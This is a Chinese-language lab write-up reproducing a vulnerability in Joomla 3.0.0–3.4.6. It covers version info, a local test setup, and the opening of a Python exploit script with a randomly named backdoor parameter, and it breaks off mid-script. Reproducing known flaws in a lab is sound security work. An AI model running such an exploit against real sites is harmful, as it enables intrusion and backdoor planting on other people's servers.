0x00.Joomla介绍
Joomla!是一套全球知名的内容管理系统。 Joomla!是使用PHP语言加上MySQL数据库所开发的软件系统,目前最新版本是3.9.11 。可以在Linux、 Windows、MacOSX等各种不同的平台上执行。目前是由Open Source Matter这个开放源码组织进行开发与支持,这个组织的成员来自全世界各地,小组成员约有150人,包含了开发者、设计者、系统管理者、文件撰写者,以及超过2万名的参与会员。
自2012年颁奖典礼开始以来,Joomla连续多年成为CMS评奖的冠军。继2015、2016、2017、2018年在全球CMS评测中,它再次获得“最佳开源CMS”奖!
0x01影响范围
3.0.0-3.4.6
0x02环境搭建
Joomla下载地址
https://downloads.joomla.org/it/cms/joomla3/3-4-6
在window下使用phpstudy搭建,将下载的压缩包解压到phpstudy的www目录下。然后输入http://127.0.0.1/Joomla 进行安装。然后按照提示进行配置。如图:
配置完成后,下一步,等待安装。
0x03漏洞复现
- 使用脚本进行验证:显示Vulnerable证明存在漏洞
2.脚本
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
from colorama import init
import sys
import string
import random
import argparse
from termcolor import colored
init(autoreset=True)
PROXS = {'http':'127.0.0.1:8080'}
PROXS = {}
def random_string(stringLength):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
backdoor_param = random_string(50)
def print_info(str):
print(colored("[*] " + str,"cyan"))
def print_ok(str):
print(colored("[+] "+ str,"green"))
def print_error(str):
print(colored("[-] "+ str,"red"))
def print_warning(str):
print(colored("[!!] " + str,"yellow"))
def get_token(url, cook):
token = ''
resp = requests.get(url, cookies=cook, proxies = PROXS)
html = BeautifulSoup(resp.text,'html